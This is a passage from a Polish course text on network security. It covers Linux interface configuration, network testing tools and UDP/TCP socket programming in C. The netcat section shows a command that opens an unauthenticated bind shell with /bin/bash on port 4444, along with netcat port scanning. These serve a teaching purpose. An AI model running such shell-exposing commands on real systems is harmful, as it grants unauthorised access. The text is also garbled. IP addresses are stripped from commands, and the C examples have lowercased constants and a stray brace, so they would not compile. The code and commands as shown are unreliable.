92 Bezpieczeństwo systemów i usług informatycznych Konfigurowanie interfejsu sieciowego, testowanie aplikacji sieciowych 12.1 Konfiguracja interfejsu sieciowego W systemie Linux informacje o interfejsach sieciowych możemy uzyskać z linii poleceń lub poprzez interfejs graficzny. Tą samą droga można je konfigurować. Komputer może mieć więcej niż jeden interfejs sieciowy. Np. może być wyposażony w więcej niż jedną kartę sieciową, kartę WiFi, modem GSM lub połączenie internetowe może być tunelowane przez USB. Każdy interfejs będzie miał inny adres IP i być może inne parametry. Ustawieniu podlegają następujące parametry interfejsu sieciowego Adres IP Maska podsieci Adres IP bramy domyślnej Adres IP serwera DNS (może być tych adresów więcej) Nazwa komputera Oprócz parametrów interfejsu sieciowego należy ustawić nazwę komputera (ang. hostname). Nazwa zapisana jest w pliku /etc/hostname lub jest ustalana innymi metodami opisanymi w [31]. Testowanie nazwy komputera: polecenie hostname $hostname maria Parametry konfiguracyjne mogą być ustawione: Ręcznie przez operatora Automatycznie przez system DNS za pośrednictwem protokołu DNS Znaczenie parametrów: Adres IP Maska podsieci Adres bramy domyślnej Adres serwera DNS Liczba służąca do identyfikacji interfejsu sieciowego w sieci Internet Liczba służąca do wyodrębnienia z adresu IP części sieciowej i adresu stacji w podsieci. Adres w podsieci do którego mają być wysyłane datagramy mające dotrzeć do innych sieci. Adres serwera przekształcającego adresy URL używane w systemie WWW na adresy IP Maska podsieci potrzebna jest do ustalenia adresu rozgłoszeniowego który jest niezbędny dla innych protokołów jak ARP i DHCP. Konfiguracja sieci w systemie Linux polega na: 1. Sprawdzeniu zainstalowanych kart sieciowych (lub innych interfejsów sieciowych), instalacji właściwych dla nich sterowników o ile nie są zainstalowane (sterowniki są modułami jądra). 2. Zdecydowaniu czy konfiguracja ma odbywać się ręcznie czy automatycznie. 3. Jeżeli wybrano instalację ręczną, należy skonfigurować dane powyżej parametry. Dostępne interfejsy sieciowe wyświetlić można za pomocą polecenia: netstat -i $netstat -i Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg eth BMRU lo LRU Przykład 12-1 Wyświetlenie dostępnych interfejsów

93 Bezpieczeństwo systemów i usług informatycznych 93 W trybie linii poleceń do eksploracji i konfiguracji interfejsów sieciowych używamy poleceń: ifconfig route Używane jest też nowsze polecenie ip. konfiguracja i testowanie parametrów interfejsu sieciowego - konfiguracja trasowania Polecenie ifconfig: ifconfig [-v] [-a] [-s] [interface] ifconfig [-v] interface options address Gdzie: interface Nazwa interfejsu sieciowego, zwykle z liczbowym sufiksem np. eth0, local address Adres IP -v Podawaj obszerne informacje (ang. verbose) -s Podawaj skrócone informacje (ang. short) -a Wyświetl wszystkie interfejsy sieciowe (ang. all) options Polecenia dotyczące interfejsu up włączenie interfejsu down wyłączenie interfejsu netmask ustawienie maski sieciowej Dokładniejszy opis opcji zawarty jest w podręczniku man. $/sbin/ifconfig eth0 Link encap:ethernet HWaddr 00:0c:29:3e:ce:3f inet addr: Bcast: Mask: inet6 addr: fe80::20c:29ff:fe3e:ce3f/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5825 errors:0 dropped:0 overruns:0 frame:0 TX packets:1592 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes: (2.6 MiB) TX bytes: (136.3 KiB) Interrupt:19 Base address:0x2000 lo Link encap:local Loopback Przykład 12-2 Informacje o interfejsach sieciowych uzyskane za pomocą polecenia ifconfig Polecenie route służy ustawianie trasy datagramów: route [-v] [-A family] add [-net -host] target [netmask Nm] [gw Gw] [metric N] [mss M] [window W] [irtt I] [reject] [mod] [dyn] [reinstate] [[dev] If] Gdzie: add del -net -host gw GW netmask Nm Dodawanie nowej trasy Kasowanie trasy istniejącej Cel jest siecią Cel jest stacją Wysyłaj pakiety przez bramę o adresie GW Ustawianie maski na Nm $route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface UG eth U eth0 Przykład 12-3 Uzyskanie tablicy routingu komputera

94 Bezpieczeństwo systemów i usług informatycznych 94 Przykład konfiguracji stacji: ifconfig eth netmask up route add default gw eth0 Wprowadzone opisanym wyżej sposobem zmiany są nietrwałe. Aby były trwałe należy dokonać zmian w plikach konfiguracyjnych: /etc/hostname /etc/network/interfaces /etc/hosts /etc/resolv.conf /etc/services Tabela 12-1 Ważniejsze pliki konfiguracyjne interfejsu sieciowego Narzędzia trybu graficznego Plik zawiera nazwę komputera Informacja o konfiguracji interfejsów Informacja o nazwach i adresach IP ważnych komputerów Informacja o lokalizacji serwerów nazw Informacja o dostępnych usługach i ich przydziale do portów Obecnie polecenia ifconfig i route rzadko używane jest do konfigurowania interfejsu sieciowego. Przeważnie używa się interfejsów graficznych. Wymienić tu można takie narzędzia jak: Network Manager czy Wicd Menedżer konfiguracji sieciowych Opisana uprzednio metoda ręcznej konfiguracji sieci jest niewystarczająca dla bardziej złożonych przypadków. Sieć powinna być konfigurowana przy starcie systemu. Problem powstaje gdy: Jeśli w komputerze znajduje się wiele interfejsów sieciowych to który z nich wybrać. Jak skonfigurować parametry sieciowe. Co zrobić gdy komputer utraci łączność sieciową. Zarządzaniem połączeniami sieciowymi zajmuje się zwykle usługa menedżera konfiguracji sieciowej. Jednym z popularniejszych jest usługa : Network Manager będąca demonem systemowym. Uruchamiana jest podczas startu systemu. Zawiera zbiór reguł zawierających wskazówki co robić w poszczególnych przypadkach. Narzędzie utrzymuje informacje o: Dostępnych urządzeniach sieciowych (informacje jądra) przekazywane przez interfejs D-Bus Liście połączeń zawierającej parametry konfiguracyjne warstwy sieciowej. Kontakt z usługą następuje za pomocą interfejsu graficznego. Uruchomienie następuję poprzez kliknięcie w ikonę umieszczoną zwykle w górnym prawym rogu. Ekran 12-1 Formularz kontaktu z usługą : Network Managera W trybie tekstowym można użyć polecenia nmcli.

95 Bezpieczeństwo systemów i usług informatycznych 95 nmcli [OPTIONS...] {help general networking radio connection device agent monitor} [COMMAND] [ARGUMENTS...] OBJECT g[eneral] NetworkManager's general status and operations n[etworking] overall networking control r[adio] NetworkManager radio switches c[onnection] NetworkManager's connections d[evice] devices managed by NetworkManager a[gent] NetworkManager secret agent or polkit agent m[onitor] monitor NetworkManager changes Przykład 12-1 Parametry programu mncli root@kali:~/lab/zasoby# nmcli general show STATE CONNECTIVITY WIFI-HW WIFI WWAN-HW WWAN connected full enabled enabled enabled enabled root@kali:~/lab/log# nmcli device show GENERAL.DEVICE: eth0 GENERAL.TYPE: ethernet GENERAL.HWADDR: 00:0C:29:FC:56:26 GENERAL.MTU: 1500 GENERAL.STATE: 100 (connected) Przykład 12-2 Przykładowe działanie programu mncli Pliki konfiguracyjne programu Network Manager zawarte są w katalogu /etc/network. Specyfikują one działania jakie maja być podjęte w różnych sytuacjach. root@kali:~/lab/log# ls /etc/network if-down.d if-post-down.d if-pre-up.d if-up.d interfaces interfaces.d Jeszcze jednym narzędziem pomagającym w testowaniu interfejsu Ethernet jest program ethtool. Przykład działania danu jest poniżej. root@kali:~/lab/zasoby# ethtool eth0 Settings for eth0: Supported ports: [ TP ] Supported link modes: 1000baseT/Full... Speed: 1000Mb/s Duplex: Full Port: Twisted Pair PHYAD: 0 Transceiver: internal Auto-negotiation: off Link detected: yes Informacje o zainstalowanym sprzęcie można uzyskać za pomocą poleceń: lshw listowanie sprzętu lspci listowanie urządzeń pci lsusb - listowanie urządzeń usb root@kali:~/lab/log# lspci grep net 02:01.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10) Przykład 12-3 Uzyskanie informacji o zainstalowanym interfejsie sieciowym 12.3 Testowanie działania komunikacji UDP i TCP Do testowania komunikacji UDP / TCP służą polecenia: ping, netstat, lsof, nc (Netcat).

96 Bezpieczeństwo systemów i usług informatycznych Polecenie ping Do testowania dostępności zdalnego komputera służy polecenie ping. Umożliwia ono zmierzenie liczby zgubionych pakietów oraz opóźnień w ich transmisji. Program wykorzystuje protokół ICMP. Gdy jakiś komputer nie odpowiada na ping to nie znaczy że nie jest aktywny. Odpowiedź na pakiety sondujące może być zablokowana przez zaporę (ang. Firewall). ping [-c powtórzenia] [-I interfejs] adres_ip Gdzie: c Liczba powtórzeń I - Oznaczenie interfejsu np. eth0 Program wysyła pakiety ICMP pod adres_ip. PING ( ) 56(84) bytes of data. 64 bytes from : icmp_req=1 ttl=128 time=0.955 ms 64 bytes from : icmp_req=2 ttl=128 time=0.628 ms ping statistics packets transmitted, 3 received, 0% packet loss, time 2026ms rtt min/avg/max/mdev = 0.628/0.753/0.955/0.147 ms Przykład 12-4 Testowanie połączenia ze zdalnym komputerem za pomocą polecenie ping Polecenie netstat Polecenie netstat jest podstawowym narzędziem do testowania komunikacji sieciowej. Wyświetla ono nastepujące informacje: aktywne połączenia sieciowe TCP porty na których komputer nasłuchuje, tabelę trasowania protokołu IP statystyki sieci Ethernet statystyki protokołu IPv4 (dla protokołów IP, ICMP, TCP i UDP), statystyki protokołu IPv6 (dla protokołów IPv6, ICMPv6, TCP przez IPv6 i UDP przez IPv6) inne informacje Informacje o parametrach polecenia uzyskujemu za pomocą polecenia netstat h. netstat [address_family_options] [--tcp -t] [--udp -u] [--udplite -U] [--raw -w] [--listening -l] [--all -a] [--numeric -n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--symbolic -N] [--extend -e[--extend -e]] [--timers -o] [--program -p] [--verbose -v] [--continuous -c] [--wide -W] netstat {--route -r} [address_family_options] [--extend -e[--extend -e]] [--verbose -v] [--numeric -n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous -c] netstat {--interfaces -i} [--all -a] [--extend -e[--extend -e]] [--verbose -v] [--program -p] [--numeric -n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous -c] Parametry: -r wyświetla tablice trasowania -i wyświetla interfejsy -a wyświetlanie wszystkich aktywnych połączeń protokołu TCP i portów protokołu TCP i UDP, na których komputer nasłuchuje -t - wyświetla połączenia TCP i porty na których komputer nasłuchuje -r wyświetla tablicę trasowania jądra -i wyświetla interfejsy sieciowe -u - wyświetla aktywne porty UDP -p - wyświetla nazwy programów

97 Bezpieczeństwo systemów i usług informatycznych 97 Przykłady: netstat -t netstat -at netstat -au netstat -lu netstat -lt netstat -pt netstat -s Tabela 12-2 Niektóre warianty polecenia netstat Wyświetlenie wszystkich połączeń TCP Wyświetlenie wszystkich portów TCP Wyświetlenie wszystkich portów UDP Wyświetlenie nasłuchujących portów UDP Wyświetlenie nasłuchujących portów TCP Wyświetlenie portów TCP z nazwami programów Wyświetlenie statystyk $netstat -t Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 maria.local:ssh :1249 ESTABLISHED tcp 1 0 maria.local:53178 klecker4.snt.utwent:www CLOSE_WAIT Przykład 12-5 Działanie polecenia netstat t wyświetlenie połączeń TCP $netstat -au Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State udp 0 0 *:bootpc *:* udp 0 0 *:36560 *:* udp 0 0 *:854 *:* Przykład 12-6 Działanie polecenia netstat au wyświetlenie portów UDP $netstat -lt Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:sunrpc *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp 0 0 localhost:smtp *:* LISTEN Przykład 12-7 Działanie polecenia netstat lt wyświetlenie nasłuchujących TCP portów Wirtualne pliki /proc Wirtualne pliki /proc/net zawierają wiele informacji na temat interfejsu sieciowego: /proc/net/dev Informacje o urządzeniach /proc/net/tcp Informacje o portach i połączeniach TCP /proc/net/udp Informacje o portach UDP /proc/net/unix Informacje o gniazdach Unixa Narzędzie lsof Do testowania stanu usług sieciowych może też służyć znane już polecenie lsof (ang. list opened files) służące do uzyskiwania informacji o otwartych plikach. Wykorzystywany jest tu fakt że gniazdka sieciowe są także plikami tyle że specjalnymi. Aby uzyskać informację o aktywnych aplikacjach sieciowych należy użyć opcji i lsof -i [protocol][@hostname hostaddr][:service port]

98 Bezpieczeństwo systemów i usług informatycznych 98 root@kali:~/lab/zasoby# lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME rsyslogd 5656 root 10u IPv t0 UDP *:36127 dhclient 6509 root 6u IPv t0 UDP *:bootpc sshd root 3u IPv t0 TCP *:ssh (LISTEN) sshd root 4u IPv t0 TCP *:ssh (LISTEN) inetd root 4u IPv t0 TCP *:telnet (LISTEN) inetd root 5u IPv t0 TCP *:ftp (LISTEN) inetd root 6u IPv t0 TCP *:finger (LISTEN) inetd root 7u IPv t0 UDP *:tftp Przykład 12-4 Działanie polecenia lsof w odniesieniu do gniazdek Narzędzie netcat Program netcat (nc) jest uniwersalnym narzędziem do testowania komunikacji sieciowej. Podstawowy sposób uruchomienia jest następujący: nc [-options] hostname port[s] [ports]... nc -l -p port [-options] [hostname] [port] Opcje: (klient) (serwer) -c string - Po połączeniu string będzie przekazany do programu /bin/sh c. Należy używać ostrożnie. -e filename - po połączeniu wykonany będzie program podany jako parametr filename. -l - tryb nasłuchiwania połączeń przychodzących.listen mode, -n - tryb numeryczny adresu -o file - zapis w pliku hex -p port - numer portu lokalnego, moze być zakres od-do -b - dozwolone rozgłaszanie UDP -t - dozwolona negocjacja telnet -u - tryb UDP -v - dokładne komunikaty, może być vv -z - tryb 0, używany do skanowanie -w wait - timeout połączenia Program netcat ma dwa podstawowe tryby pracy: jako klient łączy się do serwera jako serwer - oczekuje na połączenia, uruchomienie z opcją -l Proste połączenie tcp W najprostszej konfiguracji na jednym z komputerów należy uruchomić program nc w trybie serwera, ma on prowadzić nasłuch na danym porcie (nc l nr_portu). Na drugim komputerze uruchamiamy program nc w trybie klienta i łączymy się na ten port (nc v adres_ip port). Po połączeniu, program nc standardowe wejście terminala przyłącza się do standardowego wejścia programu nc. Pokazuje to dany niżej przykład. Na jednym z komputerów (adres IP ) prowadzimy nasłuch na porcie sysadm@zad01:~s nc l 4444 Hello Przykład 12-8 Nasłuchiwanie w komputerze o adresie IP na porcie 4444 Następnie łączymy się z tym komputerem z innego. root@kali:~/lab/bus# nc -v (UNKNOWN) [ ] 4444 (?) open Hello Przykład 12-9 Nawiązanie połączenia z hostem na porcie 4444 Po połączeniu piszemy na terminalu dowolny komunikat (np. Hello) i naciskamy Enter. Napis pojawi się po stronie serwera. Uruchomienie programu po stronie serwera

99 Bezpieczeństwo systemów i usług informatycznych 99 Jedną z najbardziej interesujących opcji programu netcat pracującego w trybie serwera, jest opcja e dająca możliwość uruchomienia innego programu. Może być to program shell. Pokazuje to następujący przykład. Na komputerze monolit o adresie IP uruchamiany jest program nc w trybie serwera. Po zaakceptowaniu połączenia, uruchamiany jest program wyspecyfikowany po opcji e, w tym przypadku /bin/bash. sysadm@zad01:~s nc l 4444 c /bin/bash Przykład 12-5 Uruchomienie programu nc w trybie serwera na porcie 4444, po połączeniu uruchamiany shell Na innym komputerze uruchamiamy program nc w trybie klienta: root@kali:~/lab/bus# nc -v Connection to port [tcp/*] Succeed! hostname monolit Przykład 12-6 Połączenie z komputerem port 4444 Uzyskany efekt jest analogiczny jak przy wykorzystaniu połączenia telnet zalogowaliśmy się bez autoryzacji do komputera monolit. Skanowanie portów Program netcat może być wykorzystany do skanowania portów. Należy użyć opcji: -n - nie używaj DNS, adres numeryczny -z zero mode, tylko skanowanie -w 1 - wait, czekaj jedną sekundę na połączenie Porty mogą być podane w zakresie od-do jak pokazuje poniższy przykład. root@kali:~/lab/zasoby# nc -v n -z -w (UNKNOWN) [ ] 22 (ssh) open (UNKNOWN) [ ] 21 (ftp) open Przykład 12-7 Skanowanie portów tcp od 20 do 30 komputera o adresie Wynik skanowania pokazuje że otwarte są porty 21 i 22. Skanować można także porty udp. root@kali:~/lab/zasoby# nc -v -z -u monolit [ ] 24 (?) open monolit [ ] 23 (?) open monolit [ ] 22 (ssh) open monolit [ ] 21 (fsp) open monolit [ ] 20 (?) open Przykład 12-8 Skanowanie portów udp od 20 do 30 komputera o adresie Przesyłanie plików Program netcat może być wykorzystany do przesyłania plików. Należy skorzystać z możliwości zmiany standardowego wejścia i wyjścia programu. Wykorzystuje się symbole >, >>, <, <<,. root@kali:~/lab/zasoby# echo "Hello, cos jest w tym pliku" > original_file root@kali:~/lab/zasoby# nc -w < original_file Przykład 12-9 Wysłanie pliku original_file do komputera Po stronie odbiorczej. [root@monolit ~]#nc l p 4444 > received [root@monolit ~]#cat received Hello, cos jest w tym pliku Przykład Odbiór pliku received

100 Bezpieczeństwo systemów i usług informatycznych Interfejs gniazd, komunikacja bezpołączeniowa 13.1 Adresy gniazd i komunikacja bezpołączeniowa Jeżeli mające się komunikować procesy znajdują się na różnych komputerach do komunikacji może być użyty protokół TCP/IP wraz z interfejsem gniazdek BSD. Możliwe jest użycie jednego z dwóch styli komunikacji: Komunikacji bezpołączeniowej (datagramy) UDP Komunikacji połączeniowej TCP Różnice pomiędzy stylami komunikacji podaje [9]. W komunikacji UDP każdy komunikat adresowany jest oddzielnie a ponadto zachowywane są granice przesyłanych komunikatów. W komunikacji bezpołączeniowej stosowane są następujące funkcje: socket Utworzenie gniazdka bind Powiązanie z gniazdkiem adresu IP sendto Wysłanie datagramu do odbiorcy recfrom Odbiór datagramu htons, htonl Konwersja formatu lokalnego liczby do formatu sieciowego (s liczba krótka, s liczba długa) ntohs, ntohl Konwersja formatu sieciowego liczby do formatu lokalnego (s liczba krótka, s liczba długa) close Zamknięcie gniazdka inet_aton Zamiana kropkowego formatu zapisu adresu IP na format binarny Tabela 13-1 Ważniejsze funkcje używane w interfejsie gniazdek komunikacja bezpołączeniowa Sprawdź w podręczniku ich parametry i znaczenia. Kolejność działań podejmowanych przez klienta i serwera podana jest poniżej a ich współpracę pokazuje Rys Klient: Tworzy gniazdko - socket Nadaje gniazdku adres - bind Nadaje lub odbiera dane - sendto, recfrom, Serwer: Tworzy gniazdko - socket Nadaje gniazdku adres - bind Nadaje lub odbiera dane - sendto, recfrom Aplikacja klienta Aplikacja serwera socket(...) bind(...) socket(...) bind(...) sendto(...) receive(...) receive(...) sendto(...) Rys Przebieg komunikacji bezpołączeniowej Dane poniżej przykłady mogą być użyte jako wzorce do budowania programów korzystających z komunikacji bezpołączeniowej.

101 Bezpieczeństwo systemów i usług informatycznych 101 // Proces odbierajacy komunikaty - wysyla udp_cli // Wspolpracuje z udp_cli // Kompilacja gcc udp_serw.c -o udp_serw -lrt #include <arpa/inet.h> #include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <string.h> #define BUFLEN 80 #define KROKI 10 #define PORT 9950 typedef struct { int typ; char buf[buflen]; } msgt; void blad(char *s) { perror(s); _exit(1); } int main(void) { struct sockaddr_in adr_moj, adr_cli; int s, i, slen=sizeof(adr_cli),snd, rec, blen=sizeof(msgt); char buf[buflen]; msgt msg; gethostname(buf,sizeof(buf)); printf("host: %s\n",buf); s=socket(af_inet, SOCK_DGRAM, IPPROTO_UDP); if(s < 0) blad("socket"); printf("gniazdko %d utworzone\n",s); // Ustalenie adresu IP nadawcy memset((char *) &adr_moj, 0, sizeof(adr_moj)); adr_moj.sin_family = AF_INET; adr_moj.sin_port = htons(port); adr_moj.sin_addr.s_addr = htonl(inaddr_any); if (bind(s,(struct sockaddr *) &adr_moj, sizeof(adr_moj))==-1) blad("bind"); // Odbior komunikatow for (i=0; i<kroki; i++) { rec = recvfrom(s, &msg, blen, 0,(struct sockaddr *) &adr_cli, &slen); if(rec < 0) blad("recvfrom()"); printf("odebrano komunikat z %s:%d res %d\n Typ: %d %s\n", inet_ntoa(adr_cli.sin_addr), ntohs(adr_cli.sin_port), rec,msg.typ,msg.buf); // Odpowiedz sprintf(msg.buf,"odpowiedz %d",i); snd = sendto(s, &msg, blen, 0,(struct sockaddr *) &adr_cli, slen); if(snd < 0) blad("sendto()"); printf("wyslano odpowiedz -res %d\n",snd); } close(s); return 0; } Przykład 13-1 Proces odbierający komunikaty - serwer

102 Bezpieczeństwo systemów i usług informatycznych 102 // Proces wysyla a potem odbiera komunikaty udp // Wspolpracuje z udp_serw // Kompilacja gcc udp_cli.c -o udp_cli -lrt #include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <string.h> #define BUFLEN 80 #define KROKI 10 #define PORT 9950 #define SRV_IP " " typedef struct { int typ; char buf[buflen]; } msgt; void blad(char *s) { perror(s); _exit(1); } int main(int argc, char * argv[]) { struct sockaddr_in adr_moj, adr_serw, adr_x; int s, i, slen=sizeof(adr_serw), snd, blen=sizeof(msgt),rec; char buf[buflen]; msgt msg; s=socket(af_inet, SOCK_DGRAM, IPPROTO_UDP); if(s < 0) blad("socket"); printf("gniazdko %d utworzone\n",s); memset((char *) &adr_serw, 0, sizeof(adr_serw)); adr_serw.sin_family = AF_INET; adr_serw.sin_port = htons(port); if (inet_aton(argv[1], &adr_serw.sin_addr)==0) { fprintf(stderr, "inet_aton() failed\n"); _exit(1); } } for (i=0; i<kroki; i++) { msg.typ = 1; sprintf(msg.buf, "Wysylam komunikat %d", i); snd = sendto(s, &msg, blen, 0,(struct sockaddr *) &adr_serw, (socklen_t) slen); if(snd < 0) blad("sendto()"); printf("wyslano komunikat res: %d\n", snd); printf("czekam na odpowiedz\n"); rec = recvfrom(s, &msg, blen, 0,(struct sockaddr *) &adr_x, (socklen_t *) &slen); if(rec < 0) blad("recvfrom()"); printf("otrzymana odpowiedz %s\n",msg.buf); sleep(1); } close(s); return 0; Przykład 13-2 Proces wysyłający komunikaty klient.

103 Bezpieczeństwo systemów i usług informatycznych 103 Przykłady należy skompilować a następnie uruchomić w oddzielnych oknach tego samego komputera lub też na różnych komputerach. Program klienta uruchomić podając adres IP komputera na którym wykonywany jest program serwera. $./udp_cli adres_ip_serwera Przykładowo gdy mamy dwa komputery o adresach IP: komputer klienta IP= , komputer serwera IP= to najpierw na komputerze serwera uruchamiamy program serwera pisząc $./udp_serw Następnie na komputerze klienta uruchamiamy program $./udp_cli Zadania Program przykładowy Uruchom podany powyżej program przykładowy. Procesy wysyłający i odbierający komunikaty powinny być na oddzielnych komputerach. Wykonaj polecenie: netstat -aup aby zaobserwować otwarty port programu odbierającego komunikaty Klient i serwer usługi FTP Napisz proces klienta i proces serwera realizujących nastepujące funkcje: przesyłanie plików od serwera do klienta przesyłanie plików od klienta do serwera listowanie katalogu zdalnego Od klienta do serwera przesyłane następujące rodzaje komunikatów: #define OPENR 1 // Otwarcie pliku do odczytu #define OPENW 2 // Otwarcie pliku do zapisu #define READ 3 // Odczyt fragmentu pliku #define CLOSE 4 // Zamkniecie pliku #define WRITE 5 // Zapis fragmentu pliku #define OPENDIR 6 // Otwarcie zdalnego katalogu #define READDIR 7 // Czytanie pozycji zdalnego katalogu #define CLOSEDIR 8 // Zamkniecie zdalnego katalogu #define STOP 10 // Zatrzymanie serwera Format komunikatu przesyłanego pomiędzy klientem a serwerem jest następujący: #define SIZE = 512 #define NSIZE = 80 typedef struct { int typ; // typ zlecenia int ile; // liczba bajtow int fh; // uchwyt pliku char fname[nsize]; // Nazwa pliku char buf[size]; // Bufor na tresc unsigned long skrot; // Skrót zawartosci bufora } mms_t; Serwer odbiera komunikaty wysyłane przez klienta i realizuje je. W poleceniu OPENR klient żąda podania pliku którego nazwa umieszczona jest w polu buf. Serwer otwiera ten plik za pomocą funkcji open, umieszczając jego uchwyt w polu fh. Następnie klient żąda podania porcji pliku fh w buforze buf w ilości ile = SIZE co realizowane jest za pomocą funkcji read. Plik sprowadzany jest fragmentami o długości SIZE. W polu ile ma być umieszczona liczba przesyłanych bajtów. Klient może wykryć koniec pliku gdy liczba rzeczywiście przesłanych bajtów ile jest mniejsza od żądanej. Po zakończeniu przesyłania pliku klient wysyła polecenie CLOSE fh. Przesyłane z serwera fragmenty pliku zapisywane są lokalnie.

104 Bezpieczeństwo systemów i usług informatycznych 104 Klient FTP Serwer FTP OPENR nazwa ochwyt pliku fh READ fh, ile Dane z pliku fh : ile, buf READ fh, ile Dane z pliku fh : ile, buf CLOSE fh wynik Rys Współpraca klienta i serwera FTP podczas operacji przesyłania pliku z serwera do klienta int main(void) { mms_t msg;... s=socket(af_inet, SOCK_DGRAM, IPPROTO_UDP); if(s < 0) blad("socket");... bind(s,(struct sockaddr *) &adr_moj, sizeof(adr_moj)); // Odbior komunikatow do { rec = recvfrom(s, &msg, blen, 0,(struct sockaddr *) &adr_cli, &slen); if(rec < 0) blad("recvfrom()"); printf("odebrano komunikat z %s:%d Typ: %d \n", inet_ntoa(adr_cli.sin_addr), ntohs(adr_cli.sin_port), msg.typ,); switch(msg.type) { case OPENR: msg.fh = open(msg.file,o_rdonly); break; case READ: msg.ile = read(msg.fh, msg.buf,size); break; case WRITE:... case CLOSE:... } } snd = sendto(s, &msg, blen, 0,(struct sockaddr *) &adr_cli, slen); } while(...) close(s); Przykład 13-1 Szkic programu serwera Procesy klienta i serwera uruchamiane są niezależnie z linii poleceń. Przedstawiony wyżej serwer jest iteracyjnym serwerem bezstanowym. Program klienta uruchamiamy podając jako parametr adres IP serwera ftp_client adres_serwera Po uruchomieniu program klienta powinien wyświetlać menu:

105 Bezpieczeństwo systemów i usług informatycznych Pobieranie pliku z serwera 2. Zapis pliku na serwerze 3. Wyświetlanie zdalnego katalogu Rozszerzenia: Dodaj funkcję obliczania po stronie wysyłającej skrótu bufora, wpisywania skrótu do komunikatu i sprawdzania prawidłowości skrótu po stronie odbiorczej. Dodaj funkcję zmiany katalogu bieżącego

106

107 Bezpieczeństwo systemów i usług informatycznych Interfejs gniazd, komunikacja połączeniowa 14.1 Komunikacja połączeniowa Komunikacja połączeniowa opisana jest w [4], [9].W komunikacji połączeniowej najpierw należy utworzyć połączenie pomiędzy komunikującymi się procesami. Po nawiązaniu połączenia pomiędzy procesami można przesyłać bajty. W komunikacji połączeniowej stosowane są następujące funkcje: socket bind connect listen accept write, send read, recv close inet_aton gethostbyname Utworzenie gniazdka Powiązanie z gniazdkiem adresu IP Próba nawiązania połączenia Ustalenie długości kolejki procesów oczekujących na połączenie Oczekiwanie na połączenie Wysyłanie bajtów Odbiór bajtów Zamknięcie gniazdka Zamiana kropkowego formatu zapisu adresu IP na format binarny Uzyskanie adresu IP komputera na podstawie jego nazwy Tabela 14-1 Ważniejsze funkcje używane w interfejsie gniazdek komunikacja połączeniowa Sprawdź w podręczniku ich parametry i znaczenia. Kolejność działań podejmowanych przez klienta i serwera podana jest poniżej a ich współpracę pokazuje Rys Klient: 1. Tworzy gniazdko socket 2. Nadaje gniazdku adres bind (konieczne przy odbiorze) 3. Łączy się z serwerem connect 4. Nadaje lub odbiera dane write, read, recv, send Serwer: 1. Tworzy gniazdko socket 2. Nadaje gniazdku adres bind (konieczne przy odbiorze) 3. Wchodzi w tryb akceptacji połączeń listen 4. Oczekuje na połączenia accept Gdy połączenie zostanie nawiązane serwer wykonuje następujące czynności: 1. Tworzy dla tego połączenia nowe gniazdko 2. Nadaje lub odbiera dane - write, read, recv, send 3. Zamyka gniazdko

108 Bezpieczeństwo systemów i usług informatycznych 108 Aplikacja klienta Aplikacja serwera socket(...) socket(...) bind(...) listen(...) connect(...) accept(...) write(...) read(...) read(...) write(...) close close Rys Przebieg komunikacji z kontrolą połączenia Przykład komunikacji połączeniowej dany jest poniżej. Program tcp_serw.c tworzy gniazdko, nadaje mu adres i przechodzi w tryb oczekiwania na połączenie. Gdy połączenie nadejdzie, odbiera bufor komunikatu i odpowiada na niego. Program serwera uruchamiamy poleceniem: $./tcp_serw Program klienta tcp_cli uruchamiamy poleceniem: $./tcp_cli adres_serwera Program klienta może być uruchomiony na tym samym komputerze co program serwera bądź na innym. Gdy uruchamiamy program klienta lokalnie nazwa serwera będzie localhost a gdy sieciowo nazwa serwera będzie jego adresem IP w postaci kropkowej bądź nazwą znakową ( lub leo5). Program klienta tcp_cli.c tworzy gniazdko, nadaje mu adres i próbuje nawiązać połączenie z serwerem. Adres serwera pobierany jest z linii argumentów. // Gniazdka - przyklad trybu polaczeniowego // Program wspolpracuje z tcp_cli // Uruchomienie: tcp_serwer // Kompilacja gcc tcp_serw.c -o tcp_serw -lrt #include <sys/socket.h> #include <netinet/in.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define MY_PORT 2000 #define TSIZE 32 typedef struct { // Komunikat int typ; char tekst[tsize]; } komunikat_t;

109 Bezpieczeństwo systemów i usług informatycznych 109 void blad(char *s) { perror(s); _exit(1); } main() { int sock, msgsock, length; struct sockaddr_in server; int rval, res,i, cnt; komunikat_t msg; // Tworzenie gniazdka sock = socket(af_inet, SOCK_STREAM, 0); if (sock < 0) blad("blad gniazdka"); // Adres gniazdka server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; // server.sin_port = ntohs(my_port); server.sin_port = htons(my_port); if (bind(sock,(struct sockaddr *) &server, sizeof(server))) blad("bind"); // Uzyskanie danych poloczenia length = sizeof(server); if (getsockname(sock,(struct sockaddr *) &server, &length)) blad("getsocketname"); printf("numer portu %d\n", ntohs(server.sin_port)); // Start przyjmowania polaczen listen(sock, 5); do { printf("czekam na polaczenie \n"); msgsock = accept(sock, 0, 0); cnt = 0; if (sock == -1) perror("accept"); else { printf("polaczenie nawiazane - %d \n",sock); do { /* przesylanie bajtow */ res = recv(msgsock,&msg,sizeof(msg),msg_waitall); if(res < 0) blad("recv"); if(res == 0) { printf("rozlaczenie\n"); break; } printf("otrzymano komunikat: %s\n",msg.tekst); cnt++; msg.typ = 1; sprintf(msg.tekst,"komunikat %d",cnt); res = send(msgsock,&msg,sizeof(msg),0); if(res < 0) 